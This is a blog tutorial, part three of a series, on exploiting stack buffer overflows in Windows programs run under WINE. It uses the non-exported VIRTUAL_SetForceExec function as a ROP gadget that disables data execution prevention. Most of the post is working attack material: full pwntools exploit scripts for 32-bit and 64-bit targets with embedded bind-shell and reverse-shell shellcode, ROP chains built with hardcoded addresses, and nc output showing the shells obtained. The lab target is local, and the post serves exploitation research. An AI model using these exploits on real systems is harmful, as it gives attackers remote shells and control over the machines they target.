POSTS
Attacking applications running under WINE (Part III)
VIRTUAL_SetForceExec - WINE’s magic gadget
In the last part of the series I demonstated a way to make the stack executable by returning to VirtualProtect. This is a nice and easy way to achieve arbitrary code execution - as long as you target a 32 bit programm. When targeting 64 bit programs there is a nasty obstacle to this trick: The x64 calling convention ships the first 4 parameters in the registers RCX, RDX, R8, and R9. So we can not simply put the parameters on the stack above the return address and return to VirtualProtect, because VirtualProtect doesn’t receive it’s parameters via the stack.
We could look out for some ROP gadgets that allow us to control the RCX, RDX, R8, and R9 registers, and use them to place our parameters there before returning to VirtualProtect. But wouldn’t it be so much easier if there was one single gadget that we could call to make all our DEP worries go away?
Meet your new friend VIRTUAL_SetForceExec!
VIRTUAL_SetForceExec
VIRTUAL_SetForceExec resides in ntdll/virtual.c.
What is does: well, it makes the stack, the heap and the data sections of the .exe and the .dll.so’s executable!
/***********************************************************************
* VIRTUAL_SetForceExec
*
* Whether to force exec prot on all views.
*/
void VIRTUAL_SetForceExec( BOOL enable ) [1]
{
struct file_view *view;
sigset_t sigset;
server_enter_uninterrupted_section( &csVirtual, &sigset );
if (!force_exec_prot != !enable) /* change all existing views */ [2]
{
force_exec_prot = enable;
WINE_RB_FOR_EACH_ENTRY( view, &views_tree, struct file_view, entry )
{
/* file mappings are always accessible */
BYTE commit = is_view_valloc( view ) ? 0 : VPROT_COMMITTED;
mprotect_range( view->base, view->size, commit, 0 ); [3]
}
}
server_leave_uninterrupted_section( &csVirtual, &sigset );
}
It takes an ‘enable’ parameter [1] and, if force_exec_prot is not already set [2], sets execute permission on all writable memory the windows application is aware of [3]. If we can call it (or return to it) with the first parameter set to anything-but-zero, we have lots of beautiful RWX space available. How convenient!
Testing VIRTUAL_SetForceExec
So, let’s try it (source, 32bit.exe, 64bit.exe):
#include <windows.h>
#include <stdio.h>
// i686-w64-mingw32-gcc -o setforceexec_test.exe setforceexec_test.c
// x86_64-w64-mingw32-gcc -o setforceexec_test64.exe setforceexec_test.c
typedef (*pVIRTUAL_SetForceExec)(
unsigned long enable
);
#define VIRTUAL_SetForceExec_32 0x7bca1270
#define VIRTUAL_SetForceExec_64 0x7bcbbb90
#if _WIN64 || __amd64__
#define VIRTUAL_SetForceExec_ptr VIRTUAL_SetForceExec_64
#else
#define VIRTUAL_SetForceExec_ptr VIRTUAL_SetForceExec_32
#endif
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
pVIRTUAL_SetForceExec VIRTUAL_SetForceExec = (pVIRTUAL_SetForceExec) VIRTUAL_SetForceExec_ptr;
printf("Press any key to get many RWX pages!\n");
getchar();
VIRTUAL_SetForceExec(-1);
printf("There should be lots of executable+writeable memory now.\n");
getchar();
return 0;
}
What does this program do? Fist, it waits at a getchar() to give you time to attach gdb. Then it calls VIRTUAL_SetForceExec with the parameter -1 (which is, notably, not 0). At last, it waits again at the second getchar(), giving you time to stop and re-examine the process.
Two things to notice here:
First, VIRTUAL_SetForceExec is not exported by ntdll.dll.so, so we have to find it’s address some other way (see below), hardcode it into the .c file and cast it to a function pointer. You probably have to adjust the hardcoded values for your version of ntdll.dll.so (if your not using the exact same version as I do).
Second, VIRTUAL_SetForceExec is not declared as a WINAPI function in ntdll/virtual.c. It therefore does not follow the stdcall or Microsoft x64 calling conventions. It behaves as any other function in a linux .so file (cdecl on x86 systems, System V AMD64 ABI on x86-64). This does not make that much difference here, just that pVIRTUAL_SetForceExec function pointer type must not be declared as WINAPI as well. It will however make some difference later on, during exploitation on WINE x86-64, so keep it in mind.
If we finally run the test program and attach gdb during the first getchar(), we find the address space like we expect it: Some pages writable, some page executable, but no page both writable and executable.
Start End Offset Perm Path
0x0000000000010000 0x0000000000020000 0x0000000000000000 rw-
0x0000000000020000 0x0000000000120000 0x0000000000000000 ---
0x0000000000120000 0x0000000000121000 0x0000000000000000 rw-
0x0000000000121000 0x0000000000122000 0x0000000000000000 ---
0x0000000000122000 0x0000000000130000 0x0000000000000000 ---
0x0000000000130000 0x0000000000133000 0x0000000000000000 rw-
0x0000000000133000 0x0000000000140000 0x0000000000000000 ---
0x0000000000140000 0x0000000000142000 0x0000000000000000 ---
0x0000000000142000 0x0000000000340000 0x0000000000000000 rw-
0x0000000000340000 0x0000000000400000 0x0000000000000000 ---
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /[...]/setforceexec_test64.exe
0x0000000000401000 0x0000000000403000 0x0000000000000000 r-x
0x0000000000403000 0x0000000000404000 0x0000000000000000 rw-
0x0000000000404000 0x0000000000407000 0x0000000000000000 r--
0x0000000000407000 0x0000000000409000 0x0000000000000000 rw-
0x0000000000409000 0x000000000040a000 0x0000000000004000 rw- /[...]/setforceexec_test64.exe
0x000000000040a000 0x000000000040b000 0x0000000000000000 rw-
[...]
After we let the program continue past the VIRTUAL_SetForceExec (by pressing any key) and examine it again, the memory looks more like this:
Start End Offset Perm Path
0x0000000000010000 0x0000000000020000 0x0000000000000000 rwx
0x0000000000020000 0x0000000000120000 0x0000000000000000 ---
0x0000000000120000 0x0000000000121000 0x0000000000000000 rwx
0x0000000000121000 0x0000000000122000 0x0000000000000000 ---
0x0000000000122000 0x0000000000130000 0x0000000000000000 ---
0x0000000000130000 0x0000000000133000 0x0000000000000000 rwx
0x0000000000133000 0x0000000000140000 0x0000000000000000 ---
0x0000000000140000 0x0000000000142000 0x0000000000000000 ---
0x0000000000142000 0x0000000000340000 0x0000000000000000 rwx
0x0000000000340000 0x0000000000400000 0x0000000000000000 ---
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /[...]/setforceexec_test64.exe
0x0000000000401000 0x0000000000403000 0x0000000000000000 r-x
0x0000000000403000 0x0000000000404000 0x0000000000000000 rwx
0x0000000000404000 0x0000000000407000 0x0000000000000000 r-x
0x0000000000407000 0x0000000000409000 0x0000000000000000 rwx
0x0000000000409000 0x000000000040a000 0x0000000000004000 rwx /[...]/setforceexec_test64.exe
0x000000000040a000 0x000000000040b000 0x0000000000000000 rwx
0x000000000040b000 0x0000000000460000 0x0000000000000000 r-x
0x0000000000460000 0x0000000000461000 0x0000000000057000 r-x /[...]/setforceexec_test64.exe
0x0000000000461000 0x0000000000466000 0x0000000000000000 r-x
0x0000000000466000 0x0000000000470000 0x0000000000000000 ---
0x0000000000470000 0x0000000000480000 0x0000000000000000 rwx
[...]
0x000000007b66d000 0x000000007b81f000 0x000000000026c000 rwx /usr/lib/x86_64-linux-gnu/wine/kernel32.dll.so
[...]
0x000000007bd07000 0x000000007bd13000 0x0000000000106000 rwx /usr/lib/x86_64-linux-gnu/wine/ntdll.dll.so
0x000000007bd13000 0x000000007bd26000 0x0000000000000000 rwx
[...]
0x000000007ffe0000 0x000000007fff0000 0x0000000000000000 rwx
[...]
0x00007f5b73e39000 0x00007f5b73e43000 0x00000000000d3000 rwx /usr/lib/x86_64-linux-gnu/wine/msvcrt.dll.so
0x00007f5b73e43000 0x00007f5b73e45000 0x0000000000000000 rwx
[...]
0x00007fffba2f6000 0x00007fffba318000 0x0000000000000000 rw- [stack]
0x00007fffba319000 0x00007fffba31c000 0x0000000000000000 r-- [vvar]
0x00007fffba31c000 0x00007fffba31e000 0x0000000000000000 r-x [vdso]
0x00007ffffe000000 0x00007fffffea8000 0x0000000000000000 ---
0x00007fffffea8000 0x00007fffffeac000 0x0000000000000000 rwx
0x00007fffffeac000 0x00007fffffeaf000 0x0000000000000000 ---
0x00007fffffeaf000 0x00007fffffeb0000 0x0000000000000000 rwx
0x00007fffffeb0000 0x00007fffffff0000 0x0000000000000000 rw-
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
The stack, the heap, the writable data segments of the libraries and some other areas are now executable. And all of them are located at predictable addresses. This should be enough choice for a nice shellcode location.
Locating VIRTUAL_SetForceExec
So, how do we find VIRTUAL_SetForceExec for any given version of ntdll.dll.so? Sadly, it is not exported, so we can’t easily find it with readelf. But it’s called by NtSetInformationProcess from ntdll/process.c to enable or disable the enforcement of data execution prevention.
/******************************************************************************
* NtSetInformationProcess [NTDLL.@]
* ZwSetInformationProcess [NTDLL.@]
*/
NTSTATUS WINAPI NtSetInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength)
{
NTSTATUS ret = STATUS_SUCCESS;
switch (ProcessInformationClass)
{
[...]
case ProcessExecuteFlags: [1]
if (ProcessInformationLength != sizeof(ULONG))
return STATUS_INVALID_PARAMETER;
else if (execute_flags & MEM_EXECUTE_OPTION_PERMANENT) [2]
return STATUS_ACCESS_DENIED;
else
{
BOOL enable;
switch (*(ULONG *)ProcessInformation & (MEM_EXECUTE_OPTION_ENABLE|MEM_EXECUTE_OPTION_
{
case MEM_EXECUTE_OPTION_ENABLE:
enable = TRUE; [3]
break;
case MEM_EXECUTE_OPTION_DISABLE:
enable = FALSE;
break;
default:
return STATUS_INVALID_PARAMETER;
}
execute_flags = *(ULONG *)ProcessInformation;
VIRTUAL_SetForceExec( enable ); [4]
}
break;
[...]
This gives us an easy way to find VIRTUAL_SetForceExec in a ntdll.dll.so binary by reading NtSetInformationProcess’ code.
Here’s the relevant section of NtSetInformationProcess, as decompiled by ghidra:
else {
if (param_2 != 0x22) goto LAB_7bc69f80; [1]
if (param_4 == 4) {
if ((_DAT_7bcea790 & 8) == 0) { [2]
uVar1 = *param_3 & 3;
if (uVar1 == 1) {
uVar2 = 0;
}
else {
puVar4 = &DAT_c000000d;
if (uVar1 != 2) goto LAB_7bc69f40;
uVar2 = 1;
}
_DAT_7bcea790 = *param_3;
FUN_7bca1270(uVar2); [3]
puVar4 = (undefined *)0x0;
}
else {
puVar4 = (undefined *)0xc0000022;
}
goto LAB_7bc69f40;
}
}
To find VIRTUAL_SetForceExec, locate NtSetInformationProcess (it is exported by ntdll.dll.so). Then read trough the different switch cases until you find the test for ProcessExecuteFlags (0x22) ([1], usually close to the end). A decompiler makes this whole process a lot easier, but notice that in my test ghidra decompiles the switch construct as a chain of if-else’s, so don’t get confused by that. Once you have found the test for 0x22, the call to VIRTUAL_SetForceExec is nearby (here at [3]). It’s easy to spot because it is the only function call in this case block.
Notice that a check for the MEM_EXECUTE_OPTION_PERMANENT exists [2]. But this check is done in NtSetInformationProcess, not VIRTUAL_SetForceExec, and quite early in the ProcessExecuteFlags case block. So we bypass it completely by calling VIRTUAL_SetForceExec directly.
The perfect gadget
Lets summarise:
- VIRTUAL_SetForceExec is part of ntdll.dll.so, so it’s present in every single process running under WINE.
- It’s not that hard to find and identify.
- It’s address in memory is constant, because no ASLR is applied to ntdll.dll.so.
- It takes only one parameter, and for our purposes this parameter must simply be anything but 0.
- And if called, it makes a lot of writable memory executable and returns.
I call this the perfect ROP gadget.
Modifying the exploit
So, lets modify the exploit from part II to use this gadget (code):
from pwn import *
# 836 Linux/x86 Tiny Shell Bind TCP - 73 bytes
# Written in 2013 by Geyslan G. Bem, Hacking bits
# http://shell-storm.org/shellcode/files/shellcode-836.php
# Opens tcp shell at port 11111
shellcode = ""
shellcode += "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"
shellcode += "\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68"
shellcode += "\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1"
shellcode += "\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd"
shellcode += "\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f"
shellcode += "\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f"
shellcode += "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
shellcode += "\x41\xcd\x80"
VIRTUAL_SetForceExec_ptr = 0x7bca1270
shellcode_ptr = 0x33fcc0
# offset in exploitstr 152
exploitstr = "A"*152
# ROP-call to VIRTUAL_SetForceExec
exploitstr += p32(VIRTUAL_SetForceExec_ptr) # [1]
# return to shellcode
exploitstr += p32(shellcode_ptr) # [2]
# parameter to VIRTUAL_SetForceExec
exploitstr += p32(0x90909090) # everything != 0 would work, # [3]
# so we can put something usefull
# there as well
exploitstr += shellcode
c = connect("127.0.0.1",31337)
c.send(exploitstr)
The exploit overwrites the return address with a pointer to VIRTUAL_SetForceExec ([1]). The value after that is the address VIRTUAL_SetForceExec will return to after completion. We place the address of the shellcode here ([2]). Than follows the parameter to VIRTUAL_SetForceExec. Any value that is not 0x00000000 will work for us, so we place some NOPs there (we could also omit these and let the shellcode start directly here, but this makes it a bit easier to illustrate). After that comes the shellcode.
The target is the same as in Part II.
Testing it:
$ python text_3_exploit_ForceExec.py
[+] Opening connection to 127.0.0.1 on port 31337: Done
[*] Closed connection to 127.0.0.1 port 31337
$ nc -v 127.0.0.1 11111
Connection to 127.0.0.1 11111 port [tcp/*] succeeded!
uname -a
Linux testsystem 4.18.0-18-generic #19-Ubuntu SMP Tue Apr 2 18:13:16 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
^C
So it works as well as the old exploit. It’s just a bit shorter, because we don’t have to mess with the parameters to VirtualProtect.
64 bit version
The VIRTUAL_SetForceExec gadget gets even more useful against a x86-64 target.
Among the many differences in 64 bit mode is one that makes the return-to-function trick quite painfull: The first few function parameters are no longer passed on the stack, but in registers. That’s good for performance, but bad for an exploiter that only has controls of the stack.
One way around this is to chain a lot of ROP gadgets together to fill the registers with our parameters and then call (return to) the function. Depending on the available gadgets, this can require a lot of dirty work.
The VIRTUAL_SetForceExec gadget takes a lot less work: It’s only parameter just has to not be zero. This can easily be already the case when we take the control flow over. And even if the register by some bad luck is zero at this point, all we need is a second gadget that changes it to, well, anything else. This makes it a lot easier.
Finding VIRTUAL_SetForceExec on x86-64 systems
The 64 bit version of ntdll.dll.so is a different file from the 32 bit version, compiled for a different target architecture.
So the address found for the 32 bit version will obviously not work.
Luckily, the procedure for finding it on x86 can be transferred without any changes:
Find the exported NtSetInformationProcess, find the handling of the ProcessExecuteFlags
(0x22) case, find the call to VIRTUAL_SetForceExec.
Calling conventions
Above I noticed that VIRTUAL_SetForceExec follows the cdecl (x86) or System V AMD64 ABI calling convention, not Microsofts stdcall or Microsoft x64 convention. This did not matter much on x86: both transfer the parameters via the stack. On x86-64 systems, both transfer the first parameters via registers: the first four parameters in RCX, RDX, R8, R9 in Microsoft x64, the first six parameters in RDI, RSI, RDX, RCX, R8, R9 under System V AMD64 ABI.
Since VIRTUAL_SetForceExec is not declared as a WINAPI function (which would imply stdcall/Microsoft x64), it expects to be called using the System V AMD64 ABI convention. So it’s first and only parameter is passed via RDI, not RCX as in a WINAPI function.
Porting the exploit
So lets write an exploit against the 64 bit version: We start by running simple_server_target.exe (64bit) and placing a breakpoint on the return of the function handle_connection (0x1400010be). This is the point where we take over the controll flow. If we let the program return to VIRTUAL_SetForceExec from here, it will look in RDI for its first (and only) parameter. And here we notice we are out of luck: RDI is 0 - the one and only value we do not want it to be. But as stated above, this is not such a large inconvenience.
Setting RDI using a ROP gadget
All we need is a gadget that changes RDI to something else. Anything else. That’s not hard to find:
$ ropper -f /usr/lib/x86_64-linux-gnu/wine/ntdll.dll.so --search "pop rdi; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret
[INFO] File: /usr/lib/x86_64-linux-gnu/wine/ntdll.dll.so
0x000000007bc31b7e: pop rdi; ret;
The exploit
So here’s everything that must be changed to make the exploit work against the 64 bit server target:
- The address of VIRTUAL_SetForceExec must be adapted to the 64 bit ntdll.dll.so
- The stack has a different starting position, so this must be changed as well
- The
pop rdi; ret
gadget must be inserted in the ROP chain, as well as the pop’ed value for RDI - The distance between the overflowed buffer and the overwritten RSP is 16 bytes shorter
- There is no more need for the parameter to VIRTUAL_SetForceExec on the stack
- The shellcode needs to be replaced by an x86-64 shellcode
The final code:
from pwn import *
# 907 Linux/x86-64 Dynamic null-free reverse TCP shell - 65 bytes
# http://shell-storm.org/shellcode/files/shellcode-907.php
#####################################################
# #
# Dynamic null-free reverse TCP shell(65 bytes) *
# Written by Philippe Dugre #
# #
#####################################################
shellcode = b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e"
shellcode += b"\x0f\x05\x97\xb0\x2a\x48\xb9\xfe\xff\xee"
shellcode += b"\xa3\x80\xff\xff\xfe\x48\xf7\xd9\x51\x54"
shellcode += b"\x5e\xb2\x10\x0f\x05\x6a\x03\x5e\xb0\x21"
shellcode += b"\xff\xce\x0f\x05\x75\xf8\x99\xb0\x3b\x52"
shellcode += b"\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
shellcode += b"\x51\x54\x5f\x0f\x05"
# (connects to 127.0.0.1 4444 via tcp)
VIRTUAL_SetForceExec_ptr = 0x7bcbbb90 # different gadget location
shellcode_ptr = 0x23fbc8 # diffent stack position
pop_rdi_ret = 0x7bc31b7e # set rdi to something != 0
# offset in exploitstr 136
exploitstr = "A"*136 # some filler 'A' less than in 32bit version
# ROP to pop rdi; ret
exploitstr += p64(pop_rdi_ret)
exploitstr += p64(0x4141414141414141) # new value for rdi
# ROP-call to VIRTUAL_SetForceExec
exploitstr += p64(VIRTUAL_SetForceExec_ptr)
# return to shellcode
exploitstr += p64(shellcode_ptr)
# and the shellcode itself
exploitstr += shellcode
c = connect("127.0.0.1",31337)
c.send(exploitstr)
Testing the exploit
This time the exploit starts a reverse shell that connects to 127.0.0.1 on port 4444. So we have to start a listener:
$ nc -lvp 4444
The target is again the simple_server_target (64 bit) from Part II:
$ wine simple_server_target.exe
And start the exploit:
$ python text_3_exploit_ForceExec_64.py
[+] Opening connection to 127.0.0.1 on port 31337: Done
[*] Closed connection to 127.0.0.1 port 31337
$
The reverse shell should appear on the listener:
$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from localhost 52628 received!
uname -a
Linux testsystem 4.18.0-18-generic #19-Ubuntu SMP Tue Apr 2 18:13:16 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
^C
Conclusion
WINE’s VIRTUAL_SetForceExec is definitely one of the most useful ROP gadgets one can imagine: it’s in a predictable location, takes little to no prior setup to be used and effectively disables data execution prevention. That’s basically the dream of everyone ever struggling with ROP. And because it’s part of ntdll.dll.so, it’s loaded into every single process running under WINE, just waiting to be used.